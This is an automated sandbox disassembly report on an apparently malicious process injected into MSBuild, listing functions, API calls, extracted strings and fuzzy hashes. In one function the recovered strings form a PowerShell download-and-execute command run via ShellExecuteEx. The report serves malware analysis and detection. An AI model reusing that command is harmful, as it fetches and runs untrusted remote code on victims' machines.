Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *n@$*n@
API String ID: 1029625771-193229609
Opcode ID: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction ID: a280f62563b1b8af23ece619f3fba2aedbd92eaccb2561d1aa32790852693925
Opcode Fuzzy Hash: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction Fuzzy Hash: DA71C874A00119DFCB04CF48C484BEAB7B2FB88315F158179E80AAF391D739AA91CB95

Function 6C53F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C53F480

Part of subcall function 6C50F100: LoadLibraryW.KERNEL32(shell32,?,6C57D020), ref: 6C50F122
Part of subcall function 6C50F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C50F132

CloseHandle.KERNEL32(00000000), ref: 6C53F555

Part of subcall function 6C5114B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C511248,6C511248,?), ref: 6C5114C9
Part of subcall function 6C5114B0: memcpy.VCRUNTIME140(?,6C511248,00000000,?,6C511248,?), ref: 6C5114EF

Part of subcall function 6C50EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C50EEE3

CreateFileW.KERNEL32 ref: 6C53F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C53F523

Strings

\oleacc.dll, xrefs: 6C53F4CB

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 207b5469221a2e8dc7d97a24ecc44e30a5786e6d287ff0f88e52834a9c6006c5
Instruction ID: ac93b6b45dcba4c5f22a9d24361f5d6a1c9423d675dc302b23d6561a5a9af935
Opcode Fuzzy Hash: 207b5469221a2e8dc7d97a24ecc44e30a5786e6d287ff0f88e52834a9c6006c5
Instruction Fuzzy Hash: A7418E306097209FE720DF69CC84A9BB7F4AF85318F102B5CE59587651FB70D9498BA2

Function 00412C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4
<, xrefs: 00412D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04
')", xrefs: 00412CB3

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 7f128ac8f9bb9458abef97919d6b2e581af989fbd2c846308f4a6e5cacd24915
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: 7f128ac8f9bb9458abef97919d6b2e581af989fbd2c846308f4a6e5cacd24915
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 6C5674A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C567526
__Init_thread_footer.LIBCMT ref: 6C567566
__Init_thread_footer.LIBCMT ref: 6C567597

Strings

kernel32.dll, xrefs: 6C567557
UnmapViewOfFile2, xrefs: 6C567552

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 9428756debe104d90208bfef30fdd366b561f236e644c6bcb6c82b0ff8e2cf12
Instruction ID: bc7d6ba5a281c63d3b290cbf7a255409cedd8248f040a28339cdcbe92951e410
Opcode Fuzzy Hash: 9428756debe104d90208bfef30fdd366b561f236e644c6bcb6c82b0ff8e2cf12
Instruction Fuzzy Hash: C1210731702521DBEE14CFEACC58E593375EB8B3A5F121669D806C7F90DB30AC01C699

Function 6C56A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58F770,-00000001,?,6C57E330,?,6C52BDF7), ref: 6C56A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C52BDF7), ref: 6C56A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C52BDF7), ref: 6C56A7E4
LeaveCriticalSection.KERNEL32(6C58F770), ref: 6C56A80A

Strings

accelerator.dll, xrefs: 6C56A7BF

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5ab5424879fdc3bcd7229cf2b1bb9b2fc0909a88c1efbb78e19d38b7da3e1ff5
Instruction ID: 8844c86ab4978fd5624d66f538fe0f3746412248071fc2bad734dc17eb31116a
Opcode Fuzzy Hash: 5ab5424879fdc3bcd7229cf2b1bb9b2fc0909a88c1efbb78e19d38b7da3e1ff5
Instruction Fuzzy Hash: C2018F706013249FAF04DF5ADC84C11B7B8FB8A314705816AE809CBB22DB70AC00CBA0

Function 6C56C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C56C0E9), ref: 6C56C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C56C437
FreeLibrary.KERNEL32(?,6C56C0E9), ref: 6C56C44C

Strings

NtQueryVirtualMemory, xrefs: 6C56C431
ntdll.dll, xrefs: 6C56C413

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 961915812e923ff678029bb071ebd3b8d94ca413db83bd5b4cf63275e26bb2cf
Instruction ID: 0480830e7123691330e816b019a5cc6b8de0facf1d204ce30e1506db8d21f38e
Opcode Fuzzy Hash: 961915812e923ff678029bb071ebd3b8d94ca413db83bd5b4cf63275e26bb2cf
Instruction Fuzzy Hash: E0E092706033219BEF00BB72CD187127AFCA70B206F826616EA04A1A10EBB0D014CE68

Function 6C5675B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C56748B,?), ref: 6C5675B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5675D7
FreeLibrary.KERNEL32(?,6C56748B,?), ref: 6C5675EC

Strings

RtlNtStatusToDosError, xrefs: 6C5675D1
ntdll.dll, xrefs: 6C5675B3

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 50601ddcd9b3b15947812bd0f8c70c79ca389df3805b3c8397d83de405234edc
Instruction ID: ef02842769be2609eb3c46a00adfe9cef3217c2d04e38d1c090de0dfeff08a4f
Opcode Fuzzy Hash: 50601ddcd9b3b15947812bd0f8c70c79ca389df3805b3c8397d83de405234edc
Instruction Fuzzy Hash: FBE09A71603321AFFF006BA2CC487027AFCE74B354F526625E905D1A11DB748045CF28

Function 6C567600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C567592), ref: 6C567608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C567627
FreeLibrary.KERNEL32(?,6C567592), ref: 6C56763C

Strings

NtUnmapViewOfSection, xrefs: 6C567621
ntdll.dll, xrefs: 6C567603

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 74f572a95502c70fc946e629fc43677c22b5183fe80c6fabec98f481b3481231
Instruction ID: a9d84c9aab662d40ad5b1a5e3a4c19888ddb6d4daf7fe9b149e6ee0a1b649f67
Opcode Fuzzy Hash: 74f572a95502c70fc946e629fc43677c22b5183fe80c6fabec98f481b3481231
Instruction Fuzzy Hash: 77E09A706033219BFF006BA68C087057ABCE71F399F02A715E906D1A10D77080088B2C

Function 6C56BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C56BE49), ref: 6C56BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C56BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C56BE49), ref: 6C56BF38
RtlReAllocateHeap.NTDLL ref: 6C56BF83
RtlFreeHeap.NTDLL ref: 6C56BFA6

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: dc4120a6b4e304d58a670b4c7c0903a605fb61e2f221c1054a5d1696bfc7735b
Instruction ID: 6ee5c62a6bc439b97c7527406671de80677ae90b39713f48e4613842edadec4c
Opcode Fuzzy Hash: dc4120a6b4e304d58a670b4c7c0903a605fb61e2f221c1054a5d1696bfc7735b
Instruction Fuzzy Hash: B8518E71A002058BE710DF6ACD80BAAB3A6BFC8314F294639E555A7F64D730F9469B90

Function 6C558E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558EBF
free.MOZGLUE(?,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?,6C57D734), ref: 6C558F46
free.MOZGLUE(?,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C54B58D,?,?,?,?,?,?,?,6C57D734,?,?,?), ref: 6C558F8F

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8ad1e716398213d814069d086e9f0896f8cf958b378a693ec93fa0b9304705c
Instruction ID: 2190813a343d151b4365c0dc257c2050ec62f45eda1c8cfcd361e43725a0006e
Opcode Fuzzy Hash: e8ad1e716398213d814069d086e9f0896f8cf958b378a693ec93fa0b9304705c
Instruction Fuzzy Hash: DE51A2B1A112168FEB14CF54DC8076E73B2BF49308F55056BD516ABB40E732F914CB92

Function 6C5527E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55289A
free.MOZGLUE(?,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C5528F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C552910
free.MOZGLUE(00000001,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C552620,?,?,?,6C5460AA,6C545FCB,6C5479A3), ref: 6C55294E

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: bb6dd08432f2ccc27cb75fd2b92b296300851d750e8f902ce706524b8e3ba87b
Instruction ID: d51ca521e03c4b4fc2a6790d30e144239063139a2785775f5e5dab0b275eb2e4
Opcode Fuzzy Hash: bb6dd08432f2ccc27cb75fd2b92b296300851d750e8f902ce706524b8e3ba87b
Instruction Fuzzy Hash: C241BCF1A002068FEB10CF68DC8876A73F6AB45308F65492AD556EB740E731F954CBA2

Function 6C50CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C50D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C50D139

Strings

MOZ_CRASH(), xrefs: 6C50D187

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 4a950a20b10bd48daccb6a859f790eb07778abf593de3b46c05d6257d643052a
Instruction ID: 2cd04d50d48fe7d4b5ed2fbaabff8fb944a3f0c45858358f09f6390541ad82a1
Opcode Fuzzy Hash: 4a950a20b10bd48daccb6a859f790eb07778abf593de3b46c05d6257d643052a
Instruction Fuzzy Hash: C041A176B023265FDF04DE7C8C9136A76B4EB4A714F160239E918E7785E7B19C008BD8

Function 6C504DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C504EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C504F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C504F1E

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9be552babf7d6baf2ea6cb4dc083b4610eea7ddebc821ae4be942c0c3a3d61cc
Instruction ID: 02302f56c0fb2d878d9cca0f8e330236f1079b46762cd4d0ea2f58ec1d320b4f
Opcode Fuzzy Hash: 9be552babf7d6baf2ea6cb4dc083b4610eea7ddebc821ae4be942c0c3a3d61cc
Instruction Fuzzy Hash: 6341DF71608701DFC705CF29C88095BB7E4BF99344F108A2DF86687B41DB70E958CB92

Function 00410D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410DB8
strtok_s.MSVCRT ref: 00410EFD

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: be08417950a04dbd05d639f5f4cad7f5e1b0e92e34aeea28b3310a8f9a2ecdbc
Instruction ID: a77fe6eef144f8be1650d890f93c6b8163d42d0b0f361fe6991083760d0b9acb
Opcode Fuzzy Hash: be08417950a04dbd05d639f5f4cad7f5e1b0e92e34aeea28b3310a8f9a2ecdbc
Instruction Fuzzy Hash: 91517FB4A40209EFCB08CF95D595AEE77B5FF44308F10805AE802AB351D774EAD1CB95

Function 6C511530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C51159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C5115BC
moz_xmalloc.MOZGLUE(-00000001,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C5115E7
free.MOZGLUE(?,?,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C511606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C511637

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 03d1e1570ea252f9513c7ce82e0c1cd4fbc52a0989694d08ef0075b7ad405000
Instruction ID: 82dbf5d7e61f870bcef09915165b2bceaca05ee039b9aa5ed2099136d39587e5
Opcode Fuzzy Hash: 03d1e1570ea252f9513c7ce82e0c1cd4fbc52a0989694d08ef0075b7ad405000
Instruction Fuzzy Hash: 6E31E472A081148BEB18DE78DC5846F73E9EB913647290BADE423DBFD4EB31D9048791

Function 6C56AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AD9D

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE01
